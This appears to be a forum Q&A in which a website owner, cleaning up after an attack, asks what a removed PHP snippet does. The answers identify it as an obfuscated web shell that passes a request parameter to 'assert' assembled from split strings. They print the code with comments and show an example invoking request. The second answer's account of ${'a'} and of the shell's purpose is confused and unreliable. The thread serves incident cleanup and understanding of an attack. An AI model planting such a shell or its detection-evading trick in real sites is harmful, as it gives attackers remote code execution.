I'm cleaning up a website after an attack which resulted in many PHP shells being uploaded. I've found and removed the following code:
if(isset($_REQUEST['e'])) { $b="ass"."ert";$a=$b($_REQUEST['e']);${'a'}; }
Could you tell me what it does? How does ${'a'} lead to code execution? Is the injected code sent by POST request?
It's an obfuscated web shell that allows remote code execution.
The script feeds $_REQUEST['e'] into the assert() function. That evaluates the e request parameter as PHP. Use it like this:
http://example.com/shell.php?e=phpinfo()
assert() is a debugging feature to evaluate assertions. But if you feed it an arbitrary string it will be executed as a PHP expression. It's a fancy way of avoiding eval() to prevent malware detection.
Here is the snippet reformatted and commented:
<?php
// Make sure request parameter e is provided
if(isset($_REQUEST['e'])) {
// Complicate static analysis by assembling "assert" from multiple strings
$b = "ass"."ert";
// Evaluate assertion (yes, in PHP you can "call" a string as function name)
$a = $b($_REQUEST['e']);
// Junk. The assertion has already run, this doesn't do anything
${'a'};
}
?>
How does
${'a'}lead to code execution?
It doesn't. $b($_REQUEST['e']) is where the assertion runs. The code works without ${'a'}.
Is the injected code sent by POST request?
$_REQUEST allows the parameter to be sent via both GET and POST.
Let's break it down.
$b="ass"."ert"
This will create a variable 'b' with 'ass' concatenated with 'ert' to form 'assert'.
$a=$b($_REQUEST['e']);
Since b = 'assert' this will evaluate to assert() passing in whatever is 'e' in the request. Assert is a function that will check to see if the what is passed in is false (http://php.net/manual/en/function.assert.php).
${'a'}
This actually does nothing. It is the same as $a.
If the hacker passes in a something as 'e' in the request by requesting the page yourdomain.com/thephpfile.php?e=1%3D2 the browser will convert %3D to the '=' sign and e will be '1=2'.
Let's put it together.
${'assert(1=2)'}
This will return 1 because it is asserting that the result is false.
This can be used to check variables in your php page by checking to see if a variable equals what they pass in.
Let me know if you need clarification.
